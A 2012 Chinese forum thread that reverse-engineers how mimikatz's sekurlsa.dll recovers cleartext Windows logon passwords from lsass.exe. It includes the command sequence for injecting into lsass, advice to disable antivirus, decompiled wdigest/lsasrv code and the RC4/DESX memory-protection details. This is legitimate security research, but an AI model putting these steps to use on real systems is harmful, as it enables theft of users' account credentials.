10

[分享&挑战]sekurlsa.dll逆向分析challenge(可能发现windows系统账号存储机制的小秘密)

loongzyd 2012-2-23 20:55 51629
声明:
本文作者是CasperKid,本文发表经过他本人授权!

昨天有朋友发了个法国佬写的神器叫 mimikatz (附件在3楼)让我们看下

神器下载地址:

http://blog.gentilkiwi.com/mimikatz
还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章

http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass
自己尝试了下用 win2008 r2 x64 来测试



最后测试成功 wdigest 就是我的明文密码

我还测过密码复杂度在14位以上

包含数字 大小写字母 特殊字符的密码

一样能抓出明文密码来

以前用 wce.exe lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash

但用了这个神器抓出明文密码后

由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash ntlm hash 而已

应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

这样这个加密算法是可逆的 能被解密出明文

所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法

逆向功底比较好的童鞋可以尝试去逆向分析一下

然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器

可以提升进程权限 注入进程 读取进程内存等等

下面展示一个 读取扫雷游戏的内存的例子



我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了



总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~

(在文章最后 附加作者的回答)

在上篇文章中 我们看到了通过用 mimikatzlsass.exe 进行进程注入

再调用 sekurlsa.dll 去获取 wdigest
也写了下自己对加密解密这个问题的想法

现在在把这个给大家点明确一些~



在用这个神器获取密码的时候 命令分别如下

privilege::debug

inject::process lsass.exe sekurlsa.dll

@getLogonPasswords

可以推理出整个流程

先将进程提升到 debug 权限

然后将 sekurlsa.dll 注入到 lsass.exe 进程里

调用 sekurlsa.dll 里的 getLogonPasswords 这个函数获取出密码

结合上文我提到的废话

--------------------------------------------------------------------------------------

以前我们一般用 wce.exe lslsass.exe通常是只能从内存里顶多抓active账号的 lm hash 和 ntlm hash

但用了这个神器抓出明文密码后

由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash ntlm hash 而已

lsass.exe 里很可能是存在两个敏感信息

1. 明文密码经过加密算法的密文 (这个加密算法是可逆的 能被解密出明文)

2. 明文密码经过hash算法做数字摘要认证的hash

(注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法

--------------------------------------------------------------------------------------



逆向功底比较好的童鞋可以尝试去逆向分析一下

直接去逆向分析下 sekurlsa.dll getLogonPasswords 函数做了些什么

是直接从某处就取出了 wdigest
还是从某处先取出了 某些信息

然后有解密操作的过程

说不定能发现微软的一些小秘密哟 =..=~

比如 它的这个加密算法

---------------------------------------------- 作者回答 ----------------------------------------------

在作者blog里发现作者其实已经回答过这个问题了



没有明文存储 而是放在内存里 并且是可逆的 这样也就验证了我推测的第一种情况

1. 明文密码经过加密算法的密文 (这个加密算法是可逆的 能被解密出明文)
上传的附件:
最新回复 (64)
6
非虫 2012-2-23 21:19
2
强大,沙发
6
非虫 2012-2-23 21:25
3
帮着上传下附件 mimikatz_trunk.zip
上传的附件:
10
loongzyd 2012-2-23 21:28
4
[QUOTE=非虫;1047297]帮着上传下附件 mimikatz_trunk.zip[/QUOTE]

校园网不给力啊,谢谢了!
1
tjszlqq 2012-2-23 21:30
5
强大个毛,如下面,根本访问不了进程
上传的附件:
CasperKid 2012-2-23 21:39
6
多测试些环境和操作系统版本吧
目前和朋友他们一起测试过 xp win2003 win7 win2008 全部通杀
有时可能因为电脑上有杀软 会守护lsass.exe 所以最好关闭杀软
还有就是别选错是 x32 还是 x64
10
loongzyd 2012-2-23 21:40
7
dll路径里面不要包含中文噢.
2
shuax 2012-2-23 21:50
8
强大,前来围观
1
exile 2012-2-23 21:52
9
mark1111
1
tjszlqq 2012-2-23 21:53
10
把杀毒软件删掉,没有中文路径,还是不行
上传的附件:
CasperKid 2012-2-23 22:02
11
你换个操作系统 或者 VM里试试 =..=~
成功的人很多的 =..=~
10
loongzyd 2012-2-23 22:03
12

我是在虚拟机XP SP3环境下测试的。
ntlm和lm的hash导出,管理员密码直接明文显示出来的!
重启试试吧,反正这个是能够成功的。关键是大家来试试逆向这个原理,估计收获会不小的。
上传的附件:
1
tjszlqq 2012-2-23 22:25
13
我这电脑被一个SYS HOOK了NTCREATETHREAD。不让DLL注入LSASS.EXE
wusha 2012-2-23 23:09
14
这么有意思,要试下
wusha 2012-2-23 23:21
15
注入不了,拒绝访问,用其他工具注入也不行
CasperKid 2012-2-23 23:40
16
建议用VM 或 其他OS version测试
目前好像爆得不成功最多的是winxp
win7和win2008目前都测试正常
2
pcasa 2012-2-24 01:09
17
简单分析了下,DLL本身没有解密代码,结合了两个DLL获取了密码的原文。
有兴趣的同学,可以继续深入分析。
这里给出我分析几个点

1 通过 LsaEnumerateLogonSessions() 获取活动Session的LUID

2 在模块 wdigest 中
.text:7EAC538A 008 8B 0D AC E2 AC 7E                       mov     ecx, ?l_LogSessList@@3U_LIST_ENTRY@@A ; _LIST_ENTRY l_LogSessList
.text:7EAC5390 008 8B 45 08                                mov     eax, [ebp+arg_0]
.text:7EAC5393 008 89 08                                   mov     [eax], ecx
.text:7EAC5395 008 C7 40 04 AC E2 AC 7E                    mov     dword ptr [eax+4], offset ?l_LogSessList@@3U_LIST_ENTRY@@A ; _LIST_ENTRY l_LogSessList

获取导出变量地址 ?l_LogSessList@@3U_LIST_ENTRY@@A ; _LIST_ENTRY l_LogSessList
l_LogSessList 变量地址 sekurlsa 10035868

3 遍历l_LogSessList 得到 指定LUID的密码密文。
枚举列表处理地址 sekurlsa 10014B80

4 调用在模块 lsasrv 中 内部函数LsaUnprotectMemory进行解密
LsaUnprotectMemory函数指针保存在 sekurlsa  10035870

佩服作者对系统安全机制的研究深度
PS: getWDigest导出函数也可以获取密码。

不早了,明天还要Working。
kangcin 2012-2-24 06:09
18
关注一下.......
ghoulvspol 2012-2-24 09:08
19
win7下测试,工具使用成功与否貌似跟系统权限有关
凭凡 2012-2-24 09:45
20
强人,下来试试
寻找奇点 2012-2-24 14:40
21
m$又把可逆密文存内存里了?
傷遺忘 2012-2-24 15:46
22
这个的确厉害哈.谢谢分享.
wusha 2012-2-24 16:33
23
haha,在办公室试验成功
11
zhuwg 2012-2-24 18:16
24
下面来自http://64.4.30.156/en-us/library/windows/desktop/ff714510%28v=vs.85%29.aspx
由此可见,函数肯定不能支持2000,xp多半也不行的
void NTAPI LsaUnprotectMemory( __inout PVOID Buffer, __in ULONG BufferSize ); Buffer [in, out] On input, a pointer to the buffer to be decrypted. On output, a pointer to the decrypted buffer. BufferSize [in] The size, in bytes, of the Buffer buffer. Remarks A pointer to the LsaProtectMemory function is available in the LSA_SECPKG_FUNCTION_TABLE structure received by the SpInitialize function. Requirements Minimum supported client Windows XP Minimum supported server Windows Server 2003 Header Ntsecpkg.h


继续,贴点相关函数代码,转载到论坛保存下
LsaEnumerateLogonSessions函数可以获取已经存在的logon session identifiers (LUIDs) 和session的总数。 NTSTATUS NTAPI LsaEnumerateLogonSessions( PULONG LogonSessionCount, PLUID* LogonSessionList ); 获取的LogonSessionList,数据类型为LUID。 typedef struct _LUID { DWORD LowPart; LONG HighPart; } LUID, *PLUID; 通过LUID来获取详细的logon session信息,需要调用函数LsaGetLogonSessionData,调用者必须是拥有该session或者是本地的系统管理员。 NTSTATUS NTAPI LsaGetLogonSessionData( PLUID LogonId, PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData ); LsaGetLogonSessionData函数返回一个PSECURITY_LOGON_SESSION_DATA结构体。 typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; } SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA; 其中包含了登陆标识(LogonId)、登陆的账号(UserName)、域(LogonDomain)、认证方式(AuthenticationPackage)、登陆类型(LogonType)、会话ID(Session)、用户的Sid(Sid)、用户登陆时间(LogonTime)等信息。 登陆类型(LogonType)是个枚举类型。 typedef enum _SECURITY_LOGON_TYPE { Interactive = 2, // Interactively logged on (locally or remotely) Network, // Accessing system via network Batch, // Started via a batch queue Service, // Service started by service controller Proxy, // Proxy logon Unlock, // Unlock workstation NetworkCleartext, // Network logon with cleartext credentials NewCredentials, // Clone caller, new default credentials RemoteInteractive, // Remote, yet interactive. Terminal server CachedInteractive, // Try cached credentials without hitting the net. CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose CachedUnlock // Cached Unlock workstation } SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; 用户的Sid(Sid)可以用ConvertSidToStringSid来转换成常见的SID格式字符串。 BOOL ConvertSidToStringSid( PSID Sid, LPTSTR* StringSid ); 这样,所有logon session的信息就获取到了。 最后调用LSAFreeReturnBuffer函数来释放所占用的内存。


更进一步的,用EnumProcesses函数枚举进程ID,OpenProcess获取每一个进程的句柄。在分别通过OpenProcessToken和GetTokenInformation打开并获取进程的访问令牌信息。 BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle ); BOOL GetTokenInformation( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength ); TokenInformationClass是个枚举类型,用来指明要获取的信息类型,这里用TokenStatistics即可。获取的信息在TokenInformation中,数据类型为TOKEN_STATISTICS的结构体。 typedef struct _TOKEN_STATISTICS { LUID TokenId; LUID AuthenticationId; LARGE_INTEGER ExpirationTime; TOKEN_TYPE TokenType; SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; DWORD DynamicCharged; DWORD DynamicAvailable; DWORD GroupCount; DWORD PrivilegeCount; LUID ModifiedId; } TOKEN_STATISTICS, *PTOKEN_STATISTICS; 其中LUID AuthenticationId如果和前面logon session的LUID一致,说明该进程的拥有者是相应的logon session。
11
zhuwg 2012-2-24 18:36
25
作者这么说的
Correct, crypted in memory but in reversible way (LsaProtectMemory/LsaUnprotectMemory, see : http://blog.gentilkiwi.com/mimikatz/sekurlsa/wdigest#getWDigestFunctions & http://blog.gentilkiwi.com/mimikatz/sekurlsa/tspkg#getTsPkgFunctions), msv1_0 also use subcalls too for pass the hash.

Usualy, debug privilege is needed, but you can use system account too, (psexec -s or other tricks) and with it : no need of privilege :)

I disagree vulnerability, it's a weakness (but big fail ;))
1
正happy 2012-2-24 22:50
26
大侠口误了吧

Minimum supported client
  Windows XP
12
boywhp 2012-2-25 00:07
27
原因是wdigest.dll的SpAcceptCredentials实现时,复制了一份密码,然后使用LsaProtectMemory对密码进行了简单加密,晕
signed int __stdcall [B]SpAcceptCredentials[/B](int a1, int a2, int PrimaryCredentials, int a4)
{
  signed int v4; // ebx@1
  int v5; // esi@1
  int v6; // eax@2
  int v7; // eax@8
  unsigned __int16 v8; // ax@15
  int v9; // ecx@18
  int i; // eax@20
  __int16 v12; // [sp+Ch] [bp-8h]@1
  UNICODE_STRING tmpPass; // [sp+Eh] [bp-6h]@1

  v4 = 0;
  v12 = 0;
  *(_DWORD *)&tmpPass.Length = 0;
  LOWORD(tmpPass.Buffer) = 0;
  v5 = 0;
  if ( PrimaryCredentials )
  {
    v6 = *(_DWORD *)(PrimaryCredentials + 44);
    if ( v6 & 1 )
    {
      if ( v6 & 4 )
      {
        v4 = UnicodeStringDuplicatePassword((PUNICODE_STRING)&v12, (PUNICODE_STRING)(PrimaryCredentials + 24));
        if ( v4 >= 0 )
        {
          if ( tmpPass.Length )
            (*(void (__stdcall **)(_DWORD, _DWORD))(g_LsaFunctions + 176))(
              *(_DWORD *)&tmpPass.MaximumLength,
              tmpPass.Length);
          v4 = LogSessHandlerPasswdSet(PrimaryCredentials, &v12);
        }
      }
      else
      {
        v7 = DigestAllocateMemory(68);
        v5 = v7;
        if ( v7 )
        {
          LogonSessionInit(v7);
          *(_DWORD *)(v5 + 24) = a1;
          *(_DWORD *)(v5 + 16) = *(_DWORD *)PrimaryCredentials;
          *(_DWORD *)(v5 + 20) = *(_DWORD *)(PrimaryCredentials + 4);
          v4 = UnicodeStringDuplicate(v5 + 28, PrimaryCredentials + 8);
          if ( v4 >= 0 )
          {
            v4 = UnicodeStringDuplicate(v5 + 36, PrimaryCredentials + 16);
            if ( v4 >= 0 )
            {
              v4 = UnicodeStringDuplicate(v5 + 52, PrimaryCredentials + 48);
              if ( v4 >= 0 )
              {
                v4 = UnicodeStringDuplicate(v5 + 60, PrimaryCredentials + 56);
                if ( v4 >= 0 )
                {
                  v4 = [B]UnicodeStringDuplicatePassword[/B](
                         (PUNICODE_STRING)(v5 + 44),
                         (PUNICODE_STRING)(PrimaryCredentials + 24));// 这里复制了密码 windbg可以断下看到明文密码
                  if ( v4 >= 0 )
                  {
                    v8 = *(_WORD *)(v5 + 46);
                    if ( v8 )
                      (*(void (__stdcall **)(_DWORD, _DWORD))(g_LsaFunctions + 176))(*(_DWORD *)(v5 + 48), v8);// 
                                                // CredFreeCredentialsFn  *CrediFreeCredentials;
                                                // PLSA_PROTECT_MEMORY    [B]LsaProtectMemory[/B]; <--
                                                //PLSA_PROTECT_MEMORY                LsaUnprotectMemory;
                                                // 测试表明一执行完这个函数
                                                // pass里面的明文变动了!!!!!
                                                // 
                    [B]LogSessHandlerInsert[/B](v5);
                    v5 = 0;
                  }
                }
              }
            }
          }
        }
        else
        {
          v4 = 0x80090300u;
        }
      }
    }
  }
  v9 = *(_DWORD *)&tmpPass.MaximumLength;       // 这里安全清楚复制的临时pass
  if ( *(_DWORD *)&tmpPass.MaximumLength )
  {
    if ( tmpPass.Length )
    {
      for ( i = tmpPass.Length; i; --i )
        *(_BYTE *)v9++ = 0;
    }
  }
  StringFree(&v12);
  if ( v5 )
    LogonSessionFree(v5);
  return v4;
}

int __stdcall [B]LogSessHandlerInsert[/B](int a1)
{
  struct _LIST_ENTRY *v2; // ecx@1

  RtlEnterCriticalSection(&l_LogSessCritSect);
  v2 = l_LogSessList.Flink;
  *(_DWORD *)a1 = l_LogSessList.Flink;
  *(_DWORD *)(a1 + 4) = &l_LogSessList;
  v2->Blink = (struct _LIST_ENTRY *)a1;
  l_LogSessList.Flink = (struct _LIST_ENTRY *)a1;
  RtlLeaveCriticalSection(&l_LogSessCritSect);
  return 0;
}


这个LsaProtectMemory是一个很神奇的函数!!!请大侠研究 我要睡觉了
  
g_LsaFunctions + 176 + 4 -》LsaUnprotectMemory
CasperKid 2012-2-25 00:40
28
楼上v587~
xiaocaijk 2012-2-25 12:45
29
直接dll名字 就可以的~
11
zhuwg 2012-2-25 19:40
30
boywhp大牛v5啊。 不过我不清楚ms的Minimum supported client与server差别在哪里?client支持就可以call了?server支持是远程call木?

本人的系统 xp sp3 wdigest.dll有这个函数
g_LsaFunctions是在SpInitialize中初始化的,看起来是第三个参数
NTSTATUS SpInitialize( __in ULONG_PTR PackageId, __in PSECPKG_PARAMETERS Parameters, __in PLSA_SECPKG_FUNCTION_TABLE FunctionTable ); typedef struct _LSA_SECPKG_FUNCTION_TABLE { PLSA_CREATE_LOGON_SESSION CreateLogonSession; PLSA_DELETE_LOGON_SESSION DeleteLogonSession; PLSA_ADD_CREDENTIAL AddCredential; PLSA_GET_CREDENTIALS GetCredentials; PLSA_DELETE_CREDENTIAL DeleteCredential; PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; PLSA_FREE_LSA_HEAP FreeLsaHeap; PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; PLSA_IMPERSONATE_CLIENT ImpersonateClient; PLSA_UNLOAD_PACKAGE UnloadPackage; PLSA_DUPLICATE_HANDLE DuplicateHandle; PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; PLSA_CREATE_THREAD CreateThread; PLSA_GET_CLIENT_INFO GetClientInfo; PLSA_REGISTER_NOTIFICATION RegisterNotification; PLSA_CANCEL_NOTIFICATION CancelNotification; PLSA_MAP_BUFFER MapBuffer; PLSA_CREATE_TOKEN CreateToken; PLSA_AUDIT_LOGON AuditLogon; PLSA_CALL_PACKAGE CallPackage; PLSA_FREE_LSA_HEAP FreeReturnBuffer; PLSA_GET_CALL_INFO GetCallInfo; PLSA_CALL_PACKAGEEX CallPackageEx; PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; PLSA_FREE_SHARED_MEMORY FreeSharedMemory; PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; PLSA_OPEN_SAM_USER OpenSamUser; PLSA_GET_USER_CREDENTIALS GetUserCredentials; PLSA_GET_USER_AUTH_DATA GetUserAuthData; PLSA_CLOSE_SAM_USER CloseSamUser; PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; PLSA_CLIENT_CALLBACK ClientCallback; PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; PLSA_CRACK_SINGLE_NAME CrackSingleName; PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; CredReadFn *CrediRead; CredReadDomainCredentialsFn *CrediReadDomainCredentials; CredFreeCredentialsFn *CrediFreeCredentials; PLSA_PROTECT_MEMORY LsaProtectMemory; PLSA_PROTECT_MEMORY LsaUnprotectMemory; PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; PLSA_CREATE_TOKEN_EX CreateTokenEx; CredWriteFn *CrediWrite; CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; PLSA_REGISTER_IDENTITY_PROVIDER RegisterIdentityProvider; PLSA_GET_EXTENDED_CALL_FLAGS GetExtendedCallFlags; PLSA_DUPLICATE_HANDLE DuplicateTokenHandle; PLSA_GET_SERVICE_ACCOUNT_PASSWORD GetServiceAccountPassword; PLSA_UPDATE_LOGON_SESSION_DATA UpdateLogonSessionData; } LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; typedef struct SECPKG_FUNCTION_TABLE { PLSA_AP_INITIALIZE_PACKAGE InitializePackage; PLSA_AP_LOGON_USER LogonUser; PLSA_AP_CALL_PACKAGE CallPackage; PLSA_AP_LOGON_TERMINATED LogonTerminated; PLSA_AP_CALL_PACKAGE_UNTRUSTED CallPackageUntrusted; PLSA_AP_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; PLSA_AP_LOGON_USER_EX LogonUserEx; PLSA_AP_LOGON_USER_EX2 LogonUserEx2; SpInitializeFn *Initialize; SpShutdownFn *Shutdown; SpGetInfoFn *GetInfo; SpAcceptCredentialsFn *AcceptCredentials; SpAcquireCredentialsHandleFn *AcquireCredentialsHandle; SpQueryCredentialsAttributesFn *QueryCredentialsAttributes; SpFreeCredentialsHandleFn *FreeCredentialsHandle; SpSaveCredentialsFn *SaveCredentials; SpGetCredentialsFn *GetCredentials; SpDeleteCredentialsFn *DeleteCredentials; SpInitLsaModeContextFn *InitLsaModeContext; SpAcceptLsaModeContextFn *AcceptLsaModeContext; SpDeleteContextFn *DeleteContext; SpApplyControlTokenFn *ApplyControlToken; SpGetUserInfoFn *GetUserInfo; SpGetExtendedInformationFn *GetExtendedInformation; SpQueryContextAttributesFn *QueryContextAttributes; SpAddCredentialsFn *AddCredentials; SpSetExtendedInformationFn *SetExtendedInformation; SpSetContextAttributesFn *SetContextAttributes; SpSetCredentialsAttributesFn *SetCredentialsAttributes; SpSetExtendedInformationFn *SpChangeAccountPasswordFn; SpQueryMetaDataFn *QueryMetaData; SpExchangeMetaDataFn *ExchangeMetaData; SpGetCredUIContextFn *GetCredUIContext; SpUpdateCredentialsFn *UpdateCredentials; SpValidateTargetInfoFn *ValidateTargetInfo; } SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE; typedef struct _SECPKG_PARAMETERS { ULONG Version; ULONG MachineState; ULONG SetupMode; PSID DomainSid; UNICODE_STRING DomainName; UNICODE_STRING DnsDomainName; GUID DomainGuid; } SECPKG_PARAMETERS, *PSECPKG_PARAMETERS, SECPKG_EVENT_DOMAIN_CHANGE, *PSECPKG_EVENT_DOMAIN_CHANGE;

除此以外还有一份_g_NtDigestFunctionTable表保存了一系列函数
int __stdcall SpInitialize(int a1, _DWORD a2, int a3) { int v3; // edi@3 _DWORD v4; // esi@11 DWORD nSize; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+10h] [bp-28h]@1 WCHAR Str; // [sp+14h] [bp-24h]@1 g_TimeForever = -1; g_strNtDigestUTF8ServerRealm[0] = 0; g_strNtDigestUTF8ServerRealm[1] = 0; g_strNTDigestISO8859ServerRealm[0] = 0; g_strNTDigestISO8859ServerRealm[1] = 0; g_NtDigestPackageId = a1; v7 = 1; nSize = 16; l_bDigestInitialized = 1; dword_7EACE17C = 2147483647; g_NtDigestState = 1; g_LsaFunctions = a3; RtlInitUnicodeString(&g_ustrNtDigestPackageName, L"WDigest"); 后面省略
10
loongzyd 2012-2-25 19:44
31
各位大神雄起啊!
幻影火 2012-2-25 20:03
32
這種技術似乎很容易就背抵抗了= =,只要稍微再hook和inject動手腳,就無法取得了= =

感覺還不錯,但是太容易悲劇了。
12
boywhp 2012-2-25 20:15
33
这个应该是Windows实现的问题,怎么能保存密码到内存呢?怎么着也只能保存hash哈
lixupeng 2012-2-25 20:25
34
有意思 收下
11
zhuwg 2012-2-26 13:53
35
好久不写东西了,继续下
我的机器上
lsass进程空间里面
eax=[742EC184]=74520088+b0=74520138
在地址74520138是LSASRV.7448FE76
这个函数是lsasrv.dll里面的内部函数
7448FE76 ; int __stdcall LsaProtectMemory(unsigned __int8 *, unsigned __int32)

int __stdcall LsaProtectMemory(PVOID Buffer, ULONG BufferSize) { return LsaEncryptMemory((unsigned __int8 *)Buffer, BufferSize, 1); } int __stdcall LsaUnprotectMemory(PVOID Buffer, ULONG BufferSize) { return LsaEncryptMemory((unsigned __int8 *)Buffer, BufferSize, 0); }

可见两者是调用的同一个函数来加密解密,这个函数用的rc4算法,如下
int __stdcall LsaEncryptMemory(unsigned __int8 *a1, unsigned __int32 a2, int a3) { int result; // eax@1 unsigned __int8 *v4; // esi@1 unsigned __int32 v5; // edi@4 int v6; // [sp+8h] [bp-110h]@4 int i; // [sp+Ch] [bp-10Ch]@4 char v8; // [sp+10h] [bp-108h]@7 result = __security_cookie; v4 = a1; if ( a1 && a2 ) { if ( a2 & 7 ) { rc4_key(&v8, g_cbRandomKey, g_pRandomKey); result = rc4(&v8, a2, a1); } else { v6 = g_Feedback; result = dword_74520C9C; v5 = a2 >> 3; for ( i = dword_74520C9C; v5; --v5 ) { result = CBC(desx, 8, v4, v4, g_pDESXKey, a3, &v6); v4 += 8; } } } return result; }

其中LsaInitializeProtectedMemory中会初始化g_cbRandomKey和g_pRandomKey以及g_pDESXKey,
在某种意义上,个人认为,RC4已经是hash的一种吧,也许后续还有其他算法辅助?不过我不懂算法

读密码的程序应该可以不注入dll,而是读取lsass的内存数据,自己完成解密的,算法以及key可以抄代码
其他的部分前面的大牛已经分析的差不多了,详细的流程什么的等牛人来写吧,干活去咯
yezhulove 2012-2-26 21:40
36
[QUOTE=zhuwg;1047913]好久不写东西了,继续下
我的机器上
lsass进程空间里面
eax=[742EC184]=74520088+b0=74520138
在地址74520138是LSASRV.7448FE76
这个函数是lsasrv.dll里面的内部函数
7448FE76 ; int __stdcall LsaProte...[/QUOTE]

RC4 是流加密算法,知道密钥了,是能解密回来的。
CasperKid 2012-2-26 22:55
37
少年们 各种给力 =..=~ 向你们致敬~
CasperKid 2012-2-29 14:37
38
不能让帖子沉了 等待各种底层帝啊 =..=~
yodamaster 2012-3-1 09:36
39
犀利!!!!
南国飞鸟 2012-3-5 15:13
40
刚开始也是拒接访问把防火墙和杀毒软件关掉后就成功了,xp sp3中文版
小P孩儿 2012-3-5 17:04
41
好厉害……牛死了
zuoyefeng 2012-3-6 08:17
42
好东西~~~~~~~~~~~
watchsky 2012-3-9 19:32
43
各种给力~~~
vtf 2012-3-10 10:40
44
犀利!给力!雄起!!
aspirer 2012-3-23 16:57
45
深深地佩服奋斗在一线底层工作的同学们
Sketcher 2012-3-24 12:02
46
逆向过程中发现,法国佬对于不同session时的DLL注入:
1、XP下是可以任意跨Session的,不存在问题
2、Vista之上需要跨Session,好在有NtXXXX可以直接跨..不存在问题.
现在唯一的问题是如何实现Win2K3在远程登录时的跨Session注入DLL然后读取那部分数据并解密,最终获得明文密码。
试着根据论坛内的某帖子自己写了个CreateThread,Session倒是垮了,但最后lsass.exe被搞崩溃了..
yaneng 2012-3-24 17:58
47
强大,看不懂,先收藏了
Pan88168 2012-3-25 01:13
48
xp sp3 成功.
YwdxY 2012-3-25 14:18
49
看的云里雾里
马克下~
shahuo 2012-3-31 21:33
50
表示关注。求源码。哈哈
返回